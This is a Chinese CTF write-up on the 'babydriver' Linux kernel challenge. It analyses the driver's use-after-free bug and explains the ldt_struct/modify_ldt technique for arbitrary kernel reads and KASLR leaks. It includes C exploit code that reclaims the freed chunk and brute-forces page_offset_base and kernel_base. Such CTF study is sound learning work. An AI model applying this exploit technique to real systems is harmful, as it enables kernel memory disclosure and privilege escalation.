0%

ldt_struct+modify_ldt

babydriver

先进行解压:

1
2
mv rootfs.cpio rootfs.cpio.gz 
gunzip rootfs.cpio.gz
  • 这个 rootfs.cpio 其实是个压缩包,不过它省略了后缀“.gz”,这里需要先改名后解压
1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
  • smep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

漏洞分析

1
2
3
4
5
6
7
void __fastcall babyopen(inode *inode, FILE *fp)
{
_fentry__(inode, fp);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
}
  • 伪条件竞争引发的 UAF 漏洞,即当我们同时打开两个设备,第二次会覆盖第一次分配的空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall babyioctl(FILE *fp, unsigned int command, __int64 arg)
{
_fentry__(fp, command);
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(arg, 0x24000C0LL);// void *kmalloc(size_t size, int flags)
babydev_struct.device_buf_len = arg;
printk("alloc done\n");
}
else
{
printk("13defalut:arg is %ld\n", arg);
}
}
  • 可以再释放后再申请(改写大小)

babydriver 是我们入门内核的第一道题目,现在来看看它的两个变种

变种二:去除 Read 功能(变种一在上篇博客)

没有 Read,可以使用 ldt_struct 结构体来泄露内核基地址

  • LDT 是局部段描述符表,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引
  • 结构体 ldt_struct 就是用于描述局部段描述符表的

在保护模式中,段寄存器存放的就是16的段选择子,然后通过段选择子的信息定位到 GDT/LDT 表

1
2
[----[0-1]-------[2]------[3-15]---]
[请求特权级别RPL, 标识T1, 索引号Index]
  • Index:CPU 将索引号乘8再加上GDT或者LDT的基地址,就可以找到目标段描述符
  • TL:其值为“0”查找 GDT 表,其值为“1”查找 LDT 表
  • RPL:请求特权级别(可以用于判断当前代码是否处于内核态)

结构体 ldt_struct 的条目如下:

1
2
3
4
5
struct ldt_struct {
struct desc_struct *entries;
unsigned int nr_entries;
int slot;
};
  • 该结构体大小为 0x10,从 kmalloc-16 中取

在局部段描述符表中有许多的段描述符,用 desc_struct 进行描述:

1
2
3
4
5
6
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

Linux 提供了 modify_ldt 系统调用,用于获取或修改当前进程的 LDT

  • 内核源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount); /* 内核任意地址读 */
break;
case 1:
ret = write_ldt(ptr, bytecount, 1); /* 分配新的ldt_struct结构体 */
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}

return (unsigned int)ret;
}
  • 其中我们可以利用的两个函数就是 read_ldtwrite_ldt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;

......

if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

......

out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
  • 劫持 mm->context.ldt->entries 就可以实现任意读(ldt_struct->entries
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;

......

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries); /* 为新的ldt_struct分配空间 */

......

}

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);

......

}
  • write_ldt 中会调用 alloc_ldt_struct,然后执行一个 kmalloc(可以被 UAF 控制)

利用 modify_ldt 泄露内核地址的思路如下:

  • 申请并释放有 UAF 的堆块
  • 执行 write_ldt,使在 alloc_ldt_struct 中申请的 ldt_struct 填充 UAF 堆块
  • 利用 UAF 控制 ldt_struct->entries,然后使用 read_ldt 把数据读到用户态

在实际的利用中,只能在 ldt_struct->entries 中爆破数据

  • 命中无效的地址:copy_to_user 返回非 0 值,此时 read_ldt 的返回值便是 -EFAULT
  • 命中内核空间:read_ldt 执行成功

但我们不能直接爆破内核基地址,只能先爆破线性映射区 direct mapping area(kmalloc 使用的空间),然后通过 read_ldt 在堆上读取一些可利用的内核指针并泄露内核基地址

  • 通常情况下内核会开启 hardened usercopy 保护,当 copy_to_user 的源地址为内核 .text 段(包括 _stext_etext)时会引起 kernel panic
  • 一般情况下 page_offset_base + 0x9d000 处固定存放着 secondary_startup_64 函数的地址(kernel_base = secondary_startup_64 - 0x40

下面看一个爆破的案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);
fd[2] = open("/dev/babydev", O_RDWR);

ioctl(fd[0], 0x10001, 0x10);
close(fd[0]);

desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); /* 填充UAF堆块 */

while(1) /* 爆破page_offset_base */
{
write(fd[1], &page_offset_base, 8);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);
if (retval >= 0)
break;
page_offset_base += 0x2000000;
}

printf("Found page_offset_base: 0x%lx\n", page_offset_base);

pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
kernel_base = 0;

while(1) /* 爆破kernel_base */
{
write(fd[1], &search_addr, 8);
retval = fork();
if (!retval)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);

for (int i = 0; i < 0x1000; i++)
{
if ((buf[i] >= 0xffffffff81000000) && ((buf[i] & 0xfff) == 0x030))
{
kernel_base = buf[i] - 0x030;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("Found kernel base: %p at %p\n", kernel_base, search_addr);
printf("Kernel offset: %p\n", kernel_offset);
break;
}
}

write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if (kernel_base)
break;
search_addr += 0x8000; /* 以0x8000字节为单位分配线程 */
}

但本题目不能使用 modify_ldt + ldt_struct 来泄露内核地址

  • 该题目的内核版本是 4.4.72,其 write_ldt 函数的代码有些不同(至少在 4.20.1 才会有 alloc_ldt_struct 函数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct desc_struct ldt;
int error;
struct user_desc ldt_info;

......

mutex_lock(&mm->context.lock);
if (ldt_info.entry_number >= mm->context.size) {
error = alloc_ldt(&current->mm->context,
ldt_info.entry_number + 1, 1);
if (error < 0)
goto out_unlock;
}

......

out_unlock:
mutex_unlock(&mm->context.lock);
out:
return error;
}
  • 发现不会调用 alloc_ldt_struct 函数,取而代之的是 alloc_ldt 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static int alloc_ldt(mm_context_t *pc, int mincount, int reload)
{
void *oldldt, *newldt;
int oldsize;

......

if (mincount * LDT_ENTRY_SIZE > PAGE_SIZE)
newldt = vmalloc(mincount * LDT_ENTRY_SIZE);
else
newldt = (void *)__get_free_page(GFP_KERNEL);

......

return 0;
}
  • 而在 alloc_ldt 中使用的是 vmalloc(使用 VMALLOC_START ~ VMALLOC_END 之间的区域)
  • 那么这里就不会复用 UAF 堆块了

小结:

由于该内核版本没有 swapgs_restore_regs_and_return_to_usermode,本想泄露出 kernel_base 就 OK 的,但是怎么都泄露不出来,后来看源码才发现没有 alloc_ldt_struct 函数

之后找一个符合条件的内核题目,把 pt_regs + seq_operationsldt_struct + modify_ldt 这两种利用都复现一下